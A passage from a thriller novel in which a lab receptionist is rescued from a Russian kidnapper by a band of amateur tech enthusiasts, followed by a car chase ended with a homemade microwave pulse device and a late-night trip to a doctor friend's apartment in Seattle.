He yanked her back into the room with a forceful pull and released her, letting her momentum carry her a few stumbling steps away from him. He once again stood between her and the door. He didn't bother pointing the gun at her.

"Relax," he said in a commanding tone. "Do not assume things. I've done this before — I know what you are worrying about. But lady, I am a professional. I don't mix business with pleasure. Besides, I get hotter pieces of ass than you any time I want. Your body is of no interest to me."

Tina stared at him silently. She felt both slightly relieved and incredibly insulted at the same time.

"You are proving handy to have around," he said. "Besides..." He gestured with the vial. "I need to make sure you did not pull any funny business with this tube. I need the stuff in here to come out alive. And you seem to know how to make that happen."

Tina gulped quietly.

"So, here is a plan," he continued. "We take you back to our factory. Your little friend is there — she will be happy to see you. We will keep you until we finish a good batch and see that everything works. It should only take a few days. You will be treated well. Nobody will hurt you. And when you get success, we will let you go."

"You have got to be kidding me," Tina said.

“Stop arguing already! Cooperate and things will go well for you. We are businessmen, not animals. Besides, my boss feels particular kindness toward young women. Now come on!” He waved the gun at her. “This is happening. Let’s go before this tube gets any warmer.”

Tina stood frozen in place. She could feel her pulse in her neck.

“Get moving! Go go go!” he ordered.

The sound of his voice began to recede, like she was hearing it underwater. She felt her skin crawl as goosebumps rose. Her blood ran cold. Her mind began to race. She looked around the room.

A few feet away from her was the old dirty beige freezer monitoring terminal with the green screen and the big heavy keyboard.

“Okay. I’ll do it,” she said, her own voice sounding oddly distant and flat.

“Good girl,” he said. “Now let’s go already.”

“I need to check the environmental settings for the cold storage unit here,” she said, nodding her head toward the terminal. “When we get the tube back to your factory, I’ll need to store it somewhere with the exact same temperature, pressure, and humidity levels.”

He grinned again. “See! You’re being useful already!”

She made a few useless, meaningless keystrokes. The large, clunky keys of the ancient keyboard made loud ka-chunk! sounds beneath her fingers.

“My colleagues and I will show our appreciation of you being so helpful,” the man said to her. “If you continue to be so diligent, you will be rewarded.”

She squinted at the screen and leaned her face very close to the monitor. “Damn it,” she said slowly.

“Is everything alright?” he asked her.

“This isn’t making any sense,” she said. “Come here, can you take a look at this?”

He stepped toward the terminal and stood right behind her.

She glanced over her shoulder. He was still holding both the vial and the revolver in the same hand. That meant his grip on both was probably weak.

She put her hands on either side of the keyboard and leaned her head to the left, encouraging him to look over her right shoulder. She curled her fingers underneath the keyboard’s edges.

“See where it says ‘Temperature’?” she asked.

“Yes...” he said, leaning his face forward toward the screen.

In a swift upward jerking motion of both arms over her right shoulder, Tina smashed the keyboard against his face.

She let go of the keyboard, which fell away with a clatter, and reached for his hand. Her palm made contact with the butt of the revolver. She grabbed it and pushed the barrel upward and away from her. She worked her fingers in between his hand and the gun.

The vial fell out of his hand. She could hear it rolling in a small circle on the linoleum.

The revolver twisted in his grasp but wouldn't yield. Her index finger landed inside the trigger guard.

She realized that, even if she couldn't take the gun from him, she could at least empty it. Guns only hold so many bullets. And without the threat of being shot, she might be able to make a run for it. She pulled the trigger.

The sound was not just deafening. It was so loud it was blinding.

Tina felt a hot shock wave blast across her face and jostle her hair. Her nostrils filled with the sharp, earthy odor of gunpowder. For a nearly imperceptible moment her vision registered a foot-long arc of black and orange flame erupt from the barrel. It was beyond all her imagination and intuition that something so small could unleash such incredible power.

The revolver kicked outward and upward. The man's arm, retaining the gun, flew back and up above his shoulder, pulling away from Tina's grasp.

Grainy white dust sprinkled from the wall that the gun had been pointed at. There was a hole in the drywall, near the ceiling. It was the size of a man's fist.

For a split second, she was too disoriented to move. The shock of the explosion left her paralyzed with bewilderment, seeing nothing but the hole in the wall and hearing nothing but the ringing in her own ears. On an instinctive level, she felt like she had to make sure she could at least still breathe before doing anything else.

And suddenly she couldn't.

The Russian turned the gun in his hand so that the butt pointed out. With Tina's back pressed up against him, he sharply bent his arm inward. The butt of the gun hit Tina high in her abdomen, just below her sternum.

She grabbed her chest with both hands, clutching the point of impact in incredible pain. She gasped desperately for air, writhing and twisting her body, trying hopelessly to get her breathing to work again. Her lungs would no longer expand and contract, leaving stale air sitting in her helpless alveoli. She heaved her shoulders up and down to get a shallow current of oxygen into her quickly acidifying bloodstream. Her clenching throat emitted an unnatural, high-pitched wheezing sound with every inhale.

After several terrifying seconds, she felt her breath gradually return.

“Stupid fucking bitch,” grumbled the Russian, angry but collected. He touched two gloved fingers of his left hand to his mouth and examined them. His lower lip was bleeding where Tina had busted it open with the keyboard. “You fucking loser whore. Why do you fight me? Hah? Tell me!” He knelt down and retrieved the vial from the floor. “You said yourself five minutes ago, this company doesn’t pay you enough for this. You like your stupid minimum-wage secretary job? You like being front desk girl? I give you a chance to do something interesting. Much more exciting work, much more respect and using much more of your smarts, maybe even making some money if everything worked out. And you repay me how? Smacking my face with fucking computer keyboard? Fucking bitch. I told you, you cooperate, things go good for you. This? This is not cooperate! I was going to be a nice guy for you. Now I have to be a bad guy again. So now you get snubnose forty-four Magnum pointed in your face. Feel good? No. So get your stupid ass moving while our little tube here is still nice and cold and happy. No more wasting time. You waste more time, I hurt you in ways that take longer to heal. Understand?”

Tina’s mind spun with anger, fear, and self-pity. Under the command of the man with the gun, with nausea welling up in her throat, she began to march toward the door.

It was then that the Russian, with a startled expression, suddenly turned his head toward the hallway. He quickly and quietly motioned with his hand for her to stop moving.

Tina halted in her tracks. “What now?” she demanded.

“Shhhhh!” said the Russian.

Tina could just barely make out a man’s voice from far down the hallway. Both Tina and the Russian stood frozen. The man’s voice drew closer.

“Negative, Dispatch,” said the man’s voice. “No signs of engagement. Breach signals are rising. Proceeding further into Sector G.”

The Russian stared at the doorway with a look of fear and disgust. “What the fuck is this shit?” he mumbled slowly.

“Dispatch, I’m seeing illumination from the cryogenic storage facility room area,” the unseen man said loudly. “Radiometric breach waves are continuing to increase. Yes, that’s correct. I’ll head toward the cryogenic area. Approaching now.”

The Russian turned to Tina with eyes wide, his expression angrily demanding answers. Tina, just as confused, shrugged with upturned palms.

DOPAMINE

The Russian closed his fist around the tube in his left hand, hiding it in his black leather glove. He tucked his revolver into his jacket pocket. “Don’t move,” he said to her.

He then stepped out into the hallway, and as he closed the door, he said, “Who the fuck are you?”

12

THE RUSSIAN LOOKED A LOT SCARIER IN PERSON than on a laptop screen. He wasn't any taller than Danny, but his raw strength and physical training were clearly evident in his posture and movements. His busted lip only added to his air of ferocity.

Danny felt ill. His own body was the logical result of slouching over a keyboard since the age of seven. His idea of exercise was *Dance Dance Revolution*, which did nothing for upper body strength. This man could end him without breaking a sweat.

"Sir, you need to accompany me to decontamination immediately," Danny said authoritatively through a surgical mask that covered his mouth and nose — and also saved him from having to improvise facial expressions. "This facility has been exposed to ectopic levels of radiological contaminatives far in excess of federal safety obligations."

"What the fuck are you talking about?" the Russian grumbled.

Danny held his microwave gun pointed at the Russian with one hand and his cellphone up to his ear with the other. Despite the fact that the former was technically a weapon, Danny recognized that it was the latter that was actually keeping him at bay.

“I’m with the Federal Emergency Management Agency’s biological alert response team. This building is a registered Class Seven research facility, with instant alarms wired directly to Bellevue regional FEMA headquarters.” Danny knew he was a terrible actor. Jason and Moshen were feeding him lines through his cellphone. He was doing his best to deliver them as believably as he could.

The Russian eyed Danny warily. “You are some kind of cop? Do you have a badge?”

“I’m a FEMA contractor,” said Danny. “We’re not cops, but I’m patched in to the Bellevue Police Department on the radio right now.”

“You talking to cops outside?”

“That’s correct. We have patrol units stationed around the building. There’s a decontamination van out front and ambulances on standby.”

The Russian stared at Danny incredulously.

“There’s a window in the conference room behind you,” Danny said suggestively. “Go ahead. Take a look.”

The man cautiously backed up several feet until he could see outside. In the dark of night, through the needles of the pine trees that lined the building, flashed the distinct red and blue strobe of a police light.

“Fucking shit!” the man spat. “What the fuck is going on?”

“Several minutes ago we received an alarm indicating a breach of containment of potentially infectious pathogenic microbiations. According to the readings on this interferometric biocontamination detector kit, you’ve been exposed to dangerous levels of organic couplings. Biohazard containment protocol requires that I get you to a decontamination facility immediately.”

“You got some kind of call?” the Russian asked tensely.

“The signal was an automatic response to an unscheduled access to the cryogenic containment machinery,” Danny said. “Do you know of any recent activity involving the freezer equipment?”

“I know of nothing,” said the man. “I am just nighttime delivery man.”

“Are you alone here inside this facility?”

“Yes,” said the Russian. “Yes, I am.”

He immediately looked past Danny with an angry glare as a beam of light swept the hallway. A click from the freezer room’s door handle was followed by the humming of the cooling equipment inside. Danny looked over his shoulder.

“No. No, he’s not,” said Tina.

“**I**’M SORRY. THE, UM, ALARM IS MY FAULT. I forgot to deactivate the nightly security.”

Tina saw the man who was spewing the incoherent technical jargon. He was slender and moderately tall, with jeans and hiking boots poking out from beneath an ill-fitting white lab coat. His floppy, curly brown hair was long overdue for a cut. He moved and spoke with youthful energy, but the slight cracking of the skin near his eyes and the subtle gray streaks near his temples betrayed the march of slowly advancing years.

She couldn’t see the man’s mouth through the surgical mask, but his eyes radiated gratitude and relief.

She could also see something that the Russian apparently couldn’t: a large dark red blot on the back of the white lab coat. The man’s left shoulder blade was matted with blood.

“Can you tell us anything about the nature of the contaminants?” he asked her.

She went to stand by his side, so that he wouldn't be at risk of revealing his injured shoulder. "They're an *E. coli* strain with plasmid enhancements of indeterminate nature. They're being transported in an Eppendorf vial." That part, at least, was true.

The man stared at her blankly. Tina could hear a faint voice squawking over his cellphone. Finally, he asked, "What is the location of this vial?"

"It's enclosed in the port-side extremity," she answered.

She stood close enough to hear several tinny voices in the man's cellphone. "Oh! It's in the Russian dude's hand!" "Which one?" "Port side. Which side is port?" "Left if you're facing stern." "Are you sure?" "I own a yacht. I know which way is port." "So is it the Russian's left or Danny's left?" "It's the left side if you're facing the front of the building." "What?" "That's how it works on a boat..."

While the voices chattered, Tina spotted movement behind the Russian, around the bend in the hallway. A large scruffy man, overweight but agile, moved slowly through the darkness. He appeared to be holding a weapon of some kind. He saw her looking at him, and brought a finger up to his lips.

"Listen," Tina said to the geeky guy in the lab coat. "I am aware of the present need for communication practices whose levels of complexity are high enough to avoid adverse consequences with non-native personnel in proximity. And while I'm uncertain about the exact cause of your organization's presence in this

facility, it's clear to me that your relationship to law enforcement suffers from a complete lack of existence. Now, are you aware of the presence of clandestine personnel to the posterior of the non-native agent?"

"Affirmative," the man responded. "That would be Agent Bravo. He's on standby pending physical altercation. However, that would be a scenario best avoided."

"Agreed," Tina said. "Immediate departure would be advisable."

"You go ahead," said the man. "For me, retrieval of contaminant is imperative."

Tina's jaw dropped. "Have you lost all function in your cerebral cortex?"

The Russian watched them talk with narrowed eyes.

The geeky guy turned to the Russian and said, "Sir, are you currently carrying a vial of potentially infectious agents on your person?"

The Russian shot Tina a murderous glare. "Did she tell you that?"

"No, sir," said the geek. "It's simply the only way to explain the amplitude of these readings." He waved his instrument back and forth in the direction of the Russian. Tina had no idea what to make of the device he held. It looked like some kind of high-tech art project made of parts scavenged from Radio Shack. One thing that she could clearly see, though, was that he wasn't getting any "readings" from the machine. It had no display.

“The fuck are you doing with that thing?” asked the Russian.

“Sir, please show me what’s in your hands,” ordered the man.

“There is nothing in my hands,” the Russian asserted.

“These readings say otherwise,” the geek said emphatically.

“I doubt that,” replied the Russian.

“What do you mean?” said the man.

The Russian slowly said, “Let me see these readings.”

The man nervously replied, “It takes a great deal of training to interpret the status of the indicator lamps on this interferometric biodetector.”

All signs of tension and apprehension left the Russian’s face. He stared at the geek with a look of contemptuous incredulity. “As much training as it takes to engage in complex communication practices to fool non-native personnel in proximity?”

The geek gulped.

“You are both assholes,” the Russian said slowly. “You think because I have accent that I don’t understand things? Fuck you both, you insulting pieces of shit. Let me tell you something. Trying to get in on my action, keep me from doing my job? I understand. It’s nothing personal. But insulting my intelligence? That is something I do not forgive.”

The geek gulped. “Agent Bravo, prepare for engagement.” He pulled off his surgical mask and let it drop to the floor. His face was focused, calculating.

Tina saw the burly man in the hallway crouch down, ready to pounce.

“Cut the crap already,” the Russian ordered. “You do not intimidate me. You could not intimidate anyone. I don’t know who you are talking to, and I don’t know why there is a cop car outside that window. But one thing I know is that you are completely full of shit.” The Russian held out his left hand and, from his gloved fist, he produced the small plastic vial. An evil, condescending grin overtook his face. “I will not waste bullet on you. You want this? Come get it.”

The geeky man remained resolute. He put his cellphone in his pocket, flexed, and backed up several paces. He raised his machine with both hands like a giant club.

The Russian laughed, turned his torso sideways, and drew his fist up near his hip in a ready posture. He placed his feet shoulder-width apart with slightly bent knees, and beckoned for his opponent to attack.

WITH A MIGHTY BATTLE CRY, Danny rushed headlong at the Russian.

The Russian kept his eye on him, evaluating his trajectory, judging his center of mass.

So he was caught completely off-guard when the lug wrench smashed against the back of his skull with the full force of Mike's silent charge from behind.

"Yes!" Tina squealed.

As the Russian reeled in pain, Danny swung his machine like a baseball bat at the man's torso. The heavy pack of blue ultracapacitors hit the Russian in the chest with a hollow thud, knocking the air out of his lungs and sending him stumbling sideways. The Eppendorf tube fell to the carpeted floor.

Danny tried to scramble for the vial, but to his surprise he found himself hopelessly winded from the attack. He took a few panting, breathless steps. The world spun around him.

Tina dashed for it. She plucked the tube from the floor and put it in her pocket.

Danny then half-saw, half-felt her run up beside him. Oddly, she seemed taller than him. She put his arm over her shoulders, his back stinging with the motion. She helped him stand back up. He had fallen to one knee without even realizing it.

“You’ve got to get out of here,” she told him. The feel of her body, firm and feminine, felt reassuring and supportive.

He shook his head and looked gravely at Mike and the Russian.

The Russian, dizzy from the blows, swung blindly outward as he turned to face his rear attacker.

Mike, taller and larger than the man, attempted to bring the lug wrench crashing down on his head again.

Regaining his senses, the Russian parried Mike’s downward blow with an overhead block, the lug wrench hitting his forearm rather than his head. He fluidly parlayed the motion of the block into a side kick; his rearward leg struck upward in a powerful snap against the bottom of Mike’s ribcage. Mike grunted in pain and curled his torso down around the point of impact, clutching his arms defensively near his chest. As the Russian brought his leg down from the kick, he stomped his heel squarely down onto Mike’s foot. Mike staggered backward.

The Russian shifted his weight to deliver another kick. Mike saw him and quickly took another step back to avoid the attack. He found himself with his back to a wall.

The Russian’s planned second kick was a feint. Mike, still protecting his aching rib, was unwittingly leaving his face open.

The delivery of the side kick had brought the Russian's hand down near his hip. From there, with a turn of his waist and a cough-like shout of, "Kyuh!", he lunged forward and fired his fist up and center. The strike drove straight into Mike's nose.

Mike's head flew back and slammed into the wall behind him, with enough force to knock a hole in the drywall. Flakes of gypsum flew from the point of impact. White dust lodged in Mike's hair.

The Russian paused for a moment to read his opponent.

Mike withdrew his head from the drywall, revealing a shallow crater. Along the dent, outlined in gypsum dust, was the unmistakable vertical rectangular shape of a wooden stud. The broken drywall bore a smear of blood.

Mike swayed sideways and stood uneasily, looking blankly off to the side.

"Mike!" Danny shouted.

Slowly, Mike pulled himself up to his full height and looked down at the Russian with a completely uncomprehending face. A disturbing moan, like a soft foghorn, began to emanate from his mouth as blood poured from his nose and seeped down into his scraggly moustache and beard. His eyes were glazed and empty.

Mike absentmindedly let go of the lug wrench. It dropped to the floor. Slowly, very slowly, he took a step toward the Russian and began an uncontrolled lurch forward.

The Russian was poised to take advantage of Mike's momentum. He reached up with both hands, grabbed Mike's head, and prepared to pull down. He drew up his leg, ready to drive his knee into Mike's face.

His Bluetooth headset exploded.

Tina's wide-eyed gaze turned from the combatants to Danny. Too weak to join the melee, Danny had pulled away from Tina and aimed his machine at the two men. Nothing seemed to happen when he had pulled the trigger except for a soft "*bonk!*" and a change in color of some small lights.

The man yelped in pain and surprise. The burst in his ear threw him off-balance. His hands around Mike's head, he stumbled in mid-kick, holding onto Mike to remain upright.

With a wide, sloppy sweep, Mike kicked the man's legs out from under him. As the man fell, Mike let himself fall with him. They hit the ground together. Large, overweight, muscular Mike used the man's body to break his fall.

The man grunted, wriggled, and tried to push Mike off of him.

Mike lay on top of the Russian like a bag of cement, refusing to yield. His broken face lay pressed against the ground next to the Russian's. Mike slid his hands blindly toward the squirming man's head, keeping his foe's arms pinned with his bulk.

As the man punched and struggled beneath him, Mike wrapped his fingers around his neck. He placed his thumbs across the Russian's throat, stared down at him with eyes blank and empty, and squeezed.

The Russian gasped and gulped for air, trying in vain to heave Mike away. He tried kicking him, punching him, pushing, twisting, writhing, but nothing would make Mike move. Mike simply looked down at the Russian senselessly, as though he was looking through him into some kind of empty space below the floor.

The Russian's eyes turned bloodshot and began to moisten and bulge out of his face. His tongue swelled and stuck out of his mouth, spittle foaming at the corners of his lips. His skin began to turn a disturbing shade of purple. He tried to say something, but his voice came out as a wet guttural honk, barely discernible as human. His struggling degenerated into aimless twitches. After making a series of disgusting gurgling noises, he stopped moving.

"Mike..." said Danny.

Mike looked up vaguely at Danny, his nose crushed, his hair caked with gypsum powder, his beard moist with blood. He lifted himself up off the Russian slowly and awkwardly and stood there, dazed, his imploded nose bleeding.

Then he took a few stumbling steps toward the wall, leaned himself against it, and vomited.

Danny's cellphone squawked from his pocket, "Are you guys okay?"

"Mike's hurt," said Danny toward his own pocket.

"So are you," said Tina.

"Nah, I'm fine," said Danny. "Just winded."

"You've lost a lot of blood," she said.

"How do you figure?" he asked.

She turned around to show him her cardigan. The parts of it that had been in contact with the back of his left shoulder were soaked in blood. His blood.

"What the fuck?" He put down his machine, took off his lab coat, and stared at the large red stain.

A high-pitched wheezing sound emerged from the floor near them. The Russian stirred, the veins in his neck bulging and throbbing.

Tina quickly left Danny's side and ran towards the Russian. He was beginning to turn and lift his head, his still-unconscious body driven by reflexes to restore the flow of air.

She darted a hand into the man's pocket and grabbed his revolver.

Danny said, "His cellphone. Get his cellphone."

Tina nodded. With two or three quick pats, she felt the rectangular bulge in his jacket pocket. She grabbed it and sprung away.

She headed straight for Mike. He stood leaning against the wall, staring down emptily at his own vomit, a trickle of blood and drool dripping slowly from his face.

She put her hand on his shoulder. "Hello. What's your name?" she asked in a slow, clinical tone.

Mike turned his broken face toward her, and with a slow, slightly slurred voice, he said, "I am called Krongor, Barbarian of the Lowland Plains."

In the dim hallway, Tina turned on the Russian's cellphone and shined the light of its screen into Mike's eyes.

"We need to get him to a hospital right now," she said to Danny.

"Broken nose?" asked Danny.

"Concussion."

From off to the side, Mike droned, "Are you a priestess of Eir? I need healing."

“Come on, big guy,” she said, slipping herself between him and the wall. “I’ll help you walk. Let’s get... *Ghuh!* Holy *shit* you’re heavy!”

THE ESCAPE BACK TO THE LOBBY felt like a jostling, jerking montage, a miasmic swirl of the sound of wheezing and the smell of vomit and blood. The scruffy injured man took long, lumbering steps, too slow and sometimes in the wrong direction, and often stopping to yawn and trying to sit down in place.

The geek, despite being injured himself, handled most of the task of shepherding his scruffy friend. He yelled into his cellphone, “Rendezvous at the front! Jason, extract us!”

Tina, in the meantime, divided her attention between them and the Russian, whom she watched with horror as he regained consciousness. With a series of fitful coughs he propped himself up on his elbows. His watery eyes opened. As she and the two men hurried down the hallway, the Russian turned to them with primal fury in his face. Tina flinchingly waved the small silver gun at him. The sight of his own gun pointed at him only enraged him further, and he hoisted himself to his feet and began to stumble toward them.

He still wasn’t quite able to breathe. He tripped, fell to his hands and knees and rasped loudly as he tried to inhale.

Tina and the two men rounded a bend in the hallway and tried to rush down the straight corridor past the bullpen towards the brightly lit lobby.

But with the scruffy injured man's disoriented ambling, the straight hallway felt like a twisting labyrinth. The bright spot of light at the end of the corridor seemed to draw nightmarishly farther into the distance with every step forward.

And behind them, with a half-crawling gait, the Russian, wheezing and rasping and coughing, dragged himself around the corner. His eyes burned with a lust for revenge.

They crashed through the interior door into the lobby with the Russian gaining rapidly, his breath and strength quickly returning. The geek wordlessly dropped his contraption to the floor and started pulling on Tina's reception desk a few short feet from the door. Tina understood, and rushed to the other side to lift and push. Everything on the desk — her computer, her purse, her paperwork — tumbled to the floor as they slid and jostled it into position. They wedged the desk sideways against the wide glass door just as the Russian's fast-moving form appeared on the other side. He pushed and kicked at the door, making the barricade slide with every impact. The two of them kept the desk braced against the door with their own strength, but without their active defense it wouldn't hold for long.

“Jason!” the geek shouted into his cellphone. “Car! Now!” Holding himself against the desk, he turned to Tina. “I’ll hold this guy off. There’s friends coming with a car. Get Mike out of here. I’ll be right behind you.”

Tina looked out the glass front doors with the large frosted “W”.

Outside, in the darkness of the parking lot, Tina could see the distinct red and blue strobe pattern of a police car light.

A wave of relief washed over her. “Hey! Hey... you...” she said to the geek.

“My name’s Danny,” he said.

“Look!” she said, nodding at the lights outside. “The cops are here! It’s all okay!”

“That’s not the cops,” he replied. “That’s Satish.”

Through the glass doors, Tina saw a large black SUV screeching to a halt just in front of Tungsten’s front door. In the SUV’s headlights, she could see two men standing in the parking lot. One looked small and scrawny with thick glasses, the other stocky and dark-skinned. They both carried open laptops on their arms.

She saw that the police car lights weren’t real. They were simply a full-screen video being played on the stocky man’s laptop.

Danny turned to Tina and yelled, “Go!”

Hesitant and suspicious, Tina looked at the aging nerd holding the desk against the door, and at his lumbering friend. They were both injured, the latter critically so. They'd saved her from a kidnapping; they'd probably even saved her life. Whoever they were, they weren't bad men. And whatever they were doing here, they clearly weren't very good at it.

The SUV let out a long honk.

She grabbed her purse and hurried over to the scruffy guy. He was staring at the Russian and mumbling incoherently. She hustled him out through the front door. The side door to the black Lincoln Navigator was open.

The dark-skinned man helped them into the middle row of seats. "Mike! Mike, you big idiot, are you okay?" he said in an Indian accent.

"Satish!" the injured man said. His furry, bloody face lit up with childlike glee. "Satish! I need to tell you something!"

"What is it, Mike?" the Indian said with worry as they entered the car.

Mike slumped down into the far seat, resting his head against the window. "I rolled a natural twenty!"

Satish answered, "What?"

"On the grapple attack," said Mike. "Against the fighter-thief with the leather armor. You saw, right?" He let out a long yawn.

The driver was a late middle-aged man with a large belly and gelled gray hair. “Danny, we’re all in,” he said into his cellphone. “Get over here fast! The guy in the stockroom jumped out the door as soon as I pulled away. He can’t be far behind.”

“Copy that,” said the geek’s voice from the cellphone.

A moment later, he came leaping into the SUV with gadget in hand, shaking the entire car on its suspension system. He slammed the car door shut behind him and clambered past Tina into the back seat.

“Danny! You’re okay!” said the driver.

The geek replied, “Drive!”

Through the windshield, the SUV’s headlights illuminated the figure of a man rounding the corner of the building, carrying a handgun with an attached silencer. Jason hit the gas and cranked the wheel as the man raised his firearm. The SUV lurched heavily and pulled away in a sharp turn.

A series of pops rang out across the parking lot.

The middle passenger-side window shattered, sprinkling shards of automobile safety glass into the interior of the car.

Mike’s head bounced between the window and the headrest as Jason dodged and weaved across the parking lot. “Owwwwwwwww,” Mike droned.

The gunfire stopped, but was replaced by the sound of car doors opening and slamming shut. The tires of the white Tesla Roadster squealed against the pavement.

The SUV had barely made it a block down the street before the Roadster caught up, pulling up next to them on the driver's side. The hum of the Roadster's electric motor rose and dropped in pitch as its driver kept pace. With six occupants, Jason's SUV was no match for the all-electric sports car's speed and maneuverability.

Jason saw the long silenced handgun pointing at him out of the passenger side of the Roadster.

Everybody in the car flew forward in their seats as Jason slammed on the brake. The throbbing of the SUV's anti-lock system pulsed through the cabin as the Navigator came to a screeching halt. Jason fought with the wheel to keep the car from pitching into a roll.

The Roadster slowed down and pulled into a tight U-turn.

The SUV's passengers were thrown about as Jason rapidly reared the car up, maneuvering halfway through a three-point turn, pausing briefly with the car positioned perpendicularly across the road. The Roadster began to zip back towards them, ready to give chase in the opposite direction on the street, back toward Tungsten.

Instead of completing the three-point turn, Jason turned the SUV in the same direction they had already been driving, opposite to the way the Roadster was now heading. The electric sports car whooshed past them. A series of “*pop-clack!*” sounds burst out as the SUV pulled away and the Roadster turned around again.

The small Asian guy in the passenger seat screamed at Tina, “Shoot back already!”

Tina realized she was still holding onto the Russian’s revolver. The mere existence of this small gun made her stomach lurch. It felt like an abomination, an obscenity cast in metal. “No,” she said flatly.

“Why the fuck not?” Moshen demanded.

“Have you ever shot at a person before?” she countered.

The rear window of the SUV collapsed in a shower of glass slivers. Danny screamed and ducked.

“Quit being such a girl and shoot back!” insisted Moshen.

“Fuck you,” replied Tina. “Whoever you are.”

A low “ploink!” sounded from the back of the car as a bullet chipped out a chunk of the rear bumper.

“Moshen,” he answered. “Nice to meet you. Now give me the gun.” He stretched out his hand.

“Do you know how to use it?” she asked skeptically.

“It’s a gun. How hard can it be? It’s a point-and-click interface.”

Tina shoved the revolver into his hand, happy to get the evil little thing away from her. “Careful with it. It’s got a hell of a recoil.”

A bullet shattered the SUV’s right taillight.

The Asian kid leaned out the passenger side window, trying to point the gun at the Roadster behind them. Jason helped him by turning sharply to the right, onto another dark side street.

Moshen pulled the trigger.

Everybody in the car reflexively ducked down at the overwhelming boom.

The thundering sound was immediately followed by the clatter of an object skidding across the cracked windshield and falling away onto the road.

Danny asked from the back, “What the fuck was that?”

“Nothing!” said Moshen defensively. “That was nothing!”

Jason answered, "That... was the gun."

The SUV bobbed sideways as Jason swerved around a car that had the misfortune of being on the same suburban road. The innocent bystander's horn Dopplered behind them as Jason desperately sped his way down the street, the Roadster in pursuit drawing ever closer.

"I can't out-drive them," said Jason.

"Any more bright ideas?" Satish asked Danny with a sneer.

All eyes fell on Danny. The SUV fell into tense silence amid the rush of air through broken windows.

"Hey, wait a minute," said Danny. "Guys. Do you hear that?"

"Hear what?" asked Moshen.

"The sound of their engine."

They listened.

"...No," said Moshen.

Satish said, "It's an all-electric drive train, you idiot. They don't *have* an engine."

"Exactly," Danny said. "Jason. Get us closer."

Jason asked, “Closer?”

“Yeah,” said Danny. He peeked carefully over the SUV’s rear door, through the blown-out window. The Tesla Roadster was barely a hundred feet away. The handgun protruded from its passenger window. “Their car is about two square meters in frontal cross-section. What’s the radius of a sphere for which a 24-decibel gain covers two square meters of surface area?”

“How the hell should I know?” Jason yelled back.

“Sorry, just thinking out loud,” said Danny. He checked the lights on his machine.

“Seriously, Danny, what the hell is that thing?” yelled Jason.

“It’s a HERF gun,” Danny answered.

“A Nerf gun?” yelled Jason.

“No, HERF,” said Danny. “It stands for High-Energy Radio Frequency. Well, technically a directional HPM — that’s a High Power Microwave emitter — but HERF more generally. It’s a DEW — a directed-energy weapon. Basically an electromagnetic pulse rifle. It produces 3-megawatt bursts of S-band electromagnetic radiation in 50-nanosecond...”

Satish barked, “Dude! Some other time!”

“Right. Sorry,” said Danny. “Now let me think. One over ten to the two point four times four pi r squared equals two. That’s about... one-twentieth r squared. So r equals square root of forty. That’s about six poiiiint... Six point three meters.”

“What do you need me to do, Danny?” Jason shouted back.

“Let them get within about 20 feet without exposing me to their passenger side.”

“You got it. Hold on tight!”

Jason spun the wheel to the left, veering the car across the street’s divider into the oncoming traffic lane. He snapped the wheel straight again and slammed on the brakes.

Danny, grabbing onto the seat with one hand and his energy gun with the other, aimed its nozzle out the back of the SUV through the broken rear window, and waited for exactly the right moment.

As Jason braked, the Roadster pulled up to within a few scant feet of the SUV. Danny could see the face of the driver, the Russian whom Mike had nearly killed, illuminated by the sports car’s dashboard.

Danny pulled the trigger.

The dashboard lights of the gleaming white Tesla Roadster went dead. So did the headlights. So did the motor.

Danny yelled back to Jason, “Floor it!”

The suddenly unpowered Roadster, rolling along by sheer momentum, quickly began to recede into the distance as the SUV sped away down the street. Screaming Russian curse words followed them briefly before fading into the night.

Once the Roadster disappeared in the rearview mirror, Jason finally released the gas pedal down to street-legal speeds. They drove calmly in silence for a few minutes, heading toward downtown Bellevue.

“Damn dude,” Moshen said to Jason. “Where did you learn to drive like that?”

“Here. Tonight,” Jason answered, and forced himself to laugh.

“Satish!” Mike drawled. “Can we tally up our experience points now?”

Tina said, “This man needs to get to a hospital. Go to Overlake. It’s close.”

“No hospitals,” said Satish.

“What?” said Tina.

“Hospitals will ask questions,” Satish said.

“He’s right,” said the driver. “I have a lot to lose if any of this gets back to me.”

“Are you people serious?” screamed Tina. “This guy could go into a coma and die!”

Mike asked warily, “Satish...? How many hit points am I down to...?”

“I think you’re in the negatives, man,” said Satish.

Mike looked horrified. “I’m *what*? Oh, no! I need Cure Light Wounds! Does anybody here know Cure Light Wounds?”

Jason asked, “Christina... It’s Christina, right?”

“Tina,” she corrected.

“Do you know anywhere we can take him without leaving any records? Someone that can treat him without a paper trail?”

Mike said, “Of course she does. She’s a priestess. She knows Cure Light Wounds. None of you guys do. You’re all wizards. Wizards throw lightning bolts and fireballs. Priests handle life energies and heal people.”

The man’s senseless words gave Tina an idea. “I know a priestess, actually.”

“He doesn’t really mean...” said Jason.

“Head towards Swedish Medical Center, on First Hill,” Tina ordered.

“I said no hospitals!” said Satish.

“Stop spazzing,” Tina said. “I have a friend that lives there. She’s a doctor. She’ll know what to do. ...She always knows what to do.”

They drove on in silence. The Navigator passed through Bellevue and made it onto the highway. Across the long straight floating bridge of State Route 520, over the moonlit waters of Lake Washington, the speckled lights and skyscraper silhouettes of Seattle’s nighttime skyline loomed before them as they headed into the city.

“Guys, listen,” Tina said. “I just want to say, whatever this is all about... Guys, thank you. Thank you for getting me out of there. Really.”

“Hey, anytime! No problem!” said Danny awkwardly, adjusting his shoulder. “I mean, my pleasure! Well, not really, but... uh... I, uh...” He smiled shyly. “I like your hair.”

Act II

DOPAMINE

13

PILL HILL, AS THE LOCALS CALLED IT, was not a welcoming neighborhood. Home to four sprawling interwoven hospital complexes and the state bloodbank, First Hill squeezed an entire city's worth of state-of-the-art medical care into a single square mile of steeply sloped one-way streets and jumbled overpasses. Amongst the hospitals sat crumbling brick condominiums and tiny turn-of-the-century houses, with unmowed lawns littered with broken tricycles, bars on the windows and multiple deadbolts on the front doors. Within these homes resided the kinds of people who took comfort in living near a state-subsidized intensive care unit or methadone dispensary or STD clinic.

A bullet-riddled Lincoln Navigator parked in an unenforced tow-away zone in front of a dilapidated apartment building did not look out of place.

"Has the bleeding stopped?" Natalie asked crisply upon opening her door and looking up at Mike's broken face. She wore a purple UW School of Medicine sweatshirt, drawstring pants, and the demeanor of a battlefield commander.

“Mostly,” said Tina. “We couldn’t keep his nose pinched because of the swelling.” Mike’s nose looked like a red bulbous prosthetic glued onto his face.

Tina led the men inside. Jason and Satish helped Mike walk in, with Moshen and Danny following.

